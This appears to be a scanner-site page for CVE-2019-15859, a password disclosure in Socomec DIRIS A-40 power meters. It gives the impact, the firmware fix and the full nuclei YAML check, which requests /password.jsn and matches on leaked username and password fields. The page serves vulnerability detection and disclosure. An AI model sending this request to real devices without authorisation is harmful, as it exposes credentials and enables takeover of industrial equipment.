Socomec DIRIS A-40 Devices Password Disclosure

criticalseverity

9.8CVSS score

31.5%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Socomec DIRIS A-40 devices before 48250501 are susceptible to a password disclosure vulnerability in the web interface that could allow remote attackers to get full access to a device via the /password.jsn URI.

Impact

An attacker can obtain sensitive information such as passwords, leading to unauthorized access.

Fix

Update the firmware of the Socomec DIRIS A-40 devices to the latest version to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/password.jsn
Positive when: contains in header "text/json" AND contains "username" and "password" AND status 200

Run it with nuclei: nuclei -id CVE-2019-15859 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-15859

info:
  name: Socomec DIRIS A-40 Devices Password Disclosure
  author: geeknik
  severity: critical
  description: Socomec DIRIS A-40 devices before 48250501 are susceptible to a password disclosure vulnerability in the web interface that could allow remote attackers to get full access to a device via the /password.jsn URI.
  impact: |
    An attacker can obtain sensitive information such as passwords, leading to unauthorized access.
  remediation: |
    Update the firmware of the Socomec DIRIS A-40 devices to the latest version to mitigate the vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2019/Oct/10
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15859
    - http://packetstormsecurity.com/files/154764/Socomec-DIRIS-A-40-Password-Disclosure.html
    - https://www.socomec.com/single-circuit-multifunction-meters_en.html
    - http://seclists.org/fulldisclosure/2019/Oct/10
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-15859
    cwe-id: CWE-200
    epss-score: 0.31487
    epss-percentile: 0.98298
    cpe: cpe:2.3:o:socomec:diris_a-40_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: socomec
    product: diris_a-40_firmware
  tags: cve,cve2019,seclists,packetstorm,disclosure,socomec,diris,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/password.jsn"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/json"

      - type: word
        part: body
        words:
          - "username"
          - "password"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from